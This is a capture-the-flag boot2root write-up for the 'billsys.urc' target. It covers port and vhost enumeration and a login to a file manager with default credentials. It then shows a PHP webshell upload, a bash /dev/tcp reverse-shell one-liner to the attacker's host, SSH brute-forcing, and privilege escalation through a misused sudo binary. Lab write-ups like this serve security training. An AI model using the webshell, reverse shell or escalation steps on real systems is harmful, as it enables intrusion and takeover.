# UrchinSec TZ National CTF MMXXIV Boot2Root Writeup ![image](https://hackmd.io/_uploads/BkVKbz3bA.png) We are provided with the deetails of the challenges as seen above and our target is the IP **** which is running the domain **billsys.urc**. Our task is to get the highest privilege on this target. ## Enumeration #### Network Enumeration I first start off by scanning for open ports that are available on this target using the command: ```shell= nmap -sC -sV -sT -oN nmap-scan ``` ``` Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 21:11 EAT Stats: 0:04:38 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.52% done; ETC: 21:16 (0:00:00 remaining) Nmap scan report for billsys.urc ( Host is up (0.38s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.7 (protocol 2.0) | ssh-hostkey: | 256 9e:cd:9e:38:58:35:4c:24:1a:01:29:0d:9d:26:fe:2b (ECDSA) |_ 256 50:35:25:83:7d:aa:d7:42:43:d4:bb:fa:e8:6c:12:bb (ED25519) 80/tcp open http nginx 1.24.0 |_http-server-header: nginx/1.24.0 |_http-title: 403 Forbidden 3000/tcp open ppp? | fingerprint-strings: | GenericLines, Help, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 | Set-Cookie: i_like_gitea=06ecfa552975324c; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=N7HhKUVvr6uzI-SmddxAgzR24e06MTcxNDMyODAxMDE2NDQ5MTU0OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Sun, 28 Apr 2024 18:13:30 GMT | <!DOCTYPE html> | <html lang="en-US" data-theme="gitea-auto"> | <head> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <title>Gitea: Git with a cup of tea</title> |_ <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdC5iaWxsc3lzLnVyYy8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdC5iaWxsc3lzLnVyYy9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpem 3306/tcp open mysql MariaDB (unauthorized) 3333/tcp open nagios-nsca Nagios NSCA 9999/tcp open abyss? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.94%I=7%D=4/28%Time=662E91C8%P=arm-apple-darwin23.2.0%r SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba SF:d\x20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git SF:ea=06ecfa552975324c;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo SF:kie:\x20_csrf=N7HhKUVvr6uzI-SmddxAgzR24e06MTcxNDMyODAxMDE2NDQ5MTU0OQ;\x SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt SF:ions:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2028\x20Apr\x202024\x2018:13:30\x SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20data-theme= SF:\"gitea-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"widt SF:h=device-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x SF:20a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\" SF:data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG SF:9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic SF:3RhcnRfdXJsIjoiaHR0cDovL2dpdC5iaWxsc3lzLnVyYy8iLCJpY29ucyI6W3sic3JjIjoi SF:aHR0cDovL2dpdC5iaWxsc3lzLnVyYy9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6Iml SF:tYWdlL3BuZyIsInNpem")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r SF:\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1 SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Termina SF:lServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba SF:d\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close SF:\r\n\r\n400\x20Bad\x20Request"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 288.01 seconds ``` There are 6 counting ports that are open on this target, and these are: 1. 22 2. 80 3. 3000 4. 22 5. 3306 6. 3333 7. 9999 main ports to focus on this challenges are; 3000,22,80,3306. #### Subdomain Enumeration Now I shall set the host to my `/etc/hosts` and perform a subdomain enumeration. ```shell gobuster vhost -u billsys.urc -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt ``` we shall identify the hosts: 1. git.billsys.urc 2. storage.billsys.urc ## Exploitation #### Initial Foothold Visiting the subdomain `storage.billsys.urc` I figure that it's running **Tiny File Manager** which is a file management single php file web app; ![image](https://hackmd.io/_uploads/HJnaq-1G0.png) doing some basic recon I realize that the default credentials for administrator's account are `admin:admin@123`, using the default credentials I was able to login: ![image](https://hackmd.io/_uploads/H1BEsWyGR.png) Now that I have logged in, I am able to upload any malicious file of my liking and even achieve RCE! I shall just craft a minimalistic webshell that I shall even use to gain reverse-shell using the codes below: ```php= <?=`$_GET[0]`?> ``` And then I shall upload the file, and once done it should appear on the listing: ![image](https://hackmd.io/_uploads/r1CUn-kMC.png) I then proceed to access it and see if it executes: ![image](https://hackmd.io/_uploads/ry753WJfC.png) Looks like it executes just perfectly fine the next step is to get a reverse shell, I shall be using my server to set a listener and execute the following command on the webshell to trigger a reverse shell: ```shell= bash -c "bash -i &>/dev/tcp/<ip>/<port> <&1" ``` of course you must url-encode it, and you should receive the reverse shell: ![image](https://hackmd.io/_uploads/ryx3ab1zC.png) Now that we have finally received a reverse-shell the next step would probably be to escalate our privileges to any of the users with higher privs, and checking for users available in this server we get the user root,git(service), and billsys: ![image](https://hackmd.io/_uploads/ByZrRWJGC.png) ## Privilege Escalation #### Getting User "billsys" There are typically two main ways to get access to the user billsys, the first way is to bruteforce the password for the user billsys on the SSH service, and the second way is to review the source code from gitea and you shall realize that the inputs aren't sanitized and are executed as commands through subprocess module, thus allowing you to insert a malicious command to get a reverse shell as billsys without the need of having bill's password. Using hydra you can achieve the SSH bruteforce and end up having the password as **passw0rd** where as the same password can be used to access gitea as billsys. Using the password we can login to the user now: ![image](https://hackmd.io/_uploads/B154JGkMC.png) #### Getting User "root" Now that we have billsys, the next move is to get the user with the highest privilege and that's root! But for that we need to look at billsys's environment and see what privileges he has that we can leverage to gain root access: ![image](https://hackmd.io/_uploads/BJ3ayMkz0.png) Checking for sudo privileges, we can see that billsys can run the command `/usr/bin/sesame` as root. Let's attempt to run it and see what we get: ![image](https://hackmd.io/_uploads/HkZzxfkfA.png) Looks like we are actually required to have a secret file, and after we have a secret file we can then put in the arguments such as `-r` to read any file and `-s` to change permissions of files. Let's head back and review the gitea. Accessing gitea we have a repository known as sesame: ![image](https://hackmd.io/_uploads/BJ2HZMkzA.png) Reading through the `main.py` I figured that there is something even more interesting: ![image](https://hackmd.io/_uploads/Bkk2bGyMC.png) ```python= from flask import Blueprint, render_template, request from flask_login import login_required, current_user from model import SesameKey import subprocess import os main = Blueprint('main', __name__) @main.route('/') @login_required def index(): return render_template('index.html') @main.route('/dashboard', methods=['GET', 'POST']) @login_required def dashboard(): if request.method == "GET": return render_template('dash.html') if request.method == "POST": key = request.form.get("key") file_read = request.form.get("fileread") check_key = SesameKey.query.filter_by(key=key).first() if check_key is not None: num = 107 stk = chr(num) secret = ''.join([chr(ord(x) ^ ord(stk)) for x in key]) with open("temp_secret", "w") as temp: temp.write(secret) command = f"sudo sesame -i temp_secret -r {file_read}" run = subprocess.check_output(command, shell=True) run = run.decode('utf-8') os.system(f"rm -rf temp_secret") return render_template('dash.html', message="It Works") else: return render_template('dash.html', message="Wrong Key") ``` It shows how the key is used to generate the secret which means it fetches it from the DB, and there are two ways to get the DB the first way is to review the commit logs and you shall realize that the user billsys made a commit and pushed the DB then removed it afterwards: ![image](https://hackmd.io/_uploads/By3Qff1zA.png) ![image](https://hackmd.io/_uploads/r1REMzJzC.png) Which means you can just download the db file from there and analyze it on your local machine. Or you can head back to the user bill which we have access to and there is a directory inside his home directory named "sesame" which contains the same source codes as well as the database: ![image](https://hackmd.io/_uploads/BkOhfMJfA.png) We can just proceed to analyze the SQLite Database from there, analyzing that db file we shall retrieve the hashed password for the user billsys to login that app, and the key: ![image](https://hackmd.io/_uploads/Sy0GXGJf0.png) We don't really need to login to get the key since the key will just be deleted after it's being used unless you craft a loop to copy the file name "temp_secret" every minute and save it somewhere else and in case you choose to go that path you can crack the hash and get the password as **password123**. But another better way to solve this part is by recreating the secret key, we already have everything we need to create the secret key and it's just basic math: ![image](https://hackmd.io/_uploads/ByB7EzyfA.png) As seen above it's just XOR of every character of the key with the ASCII value of the integer 107, we can even do that in cyberchef or just copy the same part of the code and run it to output the `temp_secret` and in case you are wondering what's the value of 107 in ASCII, well it's "k": ![image](https://hackmd.io/_uploads/HkEHSzyM0.png) After creating the secret file we can use it to now see for our self how this command works: ![image](https://hackmd.io/_uploads/B1t9rGkzC.png) Looks like we are able to read files as root, but we also noticed that we are able to tamper with the file permissions in this case we can try and see if we can try to change the permission for the root directory to become accessible: ![image](https://hackmd.io/_uploads/SJPfLGyfA.png) We receive this error! Although the file does exists but I think we are limited let's try and disassemble this executable and try to understand it: **Note the binary is packed you need to unpack it using `upx -d sesame` before you upload it to the decompiler/disassembler!** As I analyze the output, we can finally realize that the input of the file name that we shall insert is actually going to be appended as a string `/home/billsys/sesame/tests/{file_name_here}` and checks if the file name is available or not and we can see that below as there is the use of `filepath.join()`: ![image](https://hackmd.io/_uploads/S1FIPMkfR.png) Otherwise if the file exists, it takes an input of the chmod permission flag that you want to put on the targetted file and it does the magic! Now we have a lot of ways to gain root access here! We can either escape the limited directory to set the permission of root directory to become accessible by everyone or we can change permission of `/etc/passwd` and make it writeable to anyone which will allow us to edit the `/etc/passwd` file and gain access as root or we can set a symbolic link to a certain executable owned by root and set a suid bit as root to execute it. ##### Root Folder Access ![image](https://hackmd.io/_uploads/H1uQKGkzC.png) As seen above we have managed to change the directory of /root/ and make it accessible for anything by everyone in the server, let's try and see if we can access it: ![image](https://hackmd.io/_uploads/BJGPtMJG0.png) ![image](https://hackmd.io/_uploads/SkEYFM1G0.png) ##### Suid Bit on Bash ![image](https://hackmd.io/_uploads/S1pRsfyG0.png) And checking on the attribute permissions of the executable: ![image](https://hackmd.io/_uploads/SJqEhMJfR.png) Let's prove if it worked, ![image](https://hackmd.io/_uploads/HJNInG1zC.png) ## Conclusion This challenge was quiet a fun challenge to create, I had some thinkable time imagining different approaches to exploit every point until the point of achieving root! 😎 , `Tahaa Farooq` --- <div style="width:100%;height:0;padding-bottom:56%;position:relative;"><iframe src="https://giphy.com/embed/QMHoU66sBXqqLqYvGO" width="100%" height="100%" style="position:absolute" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>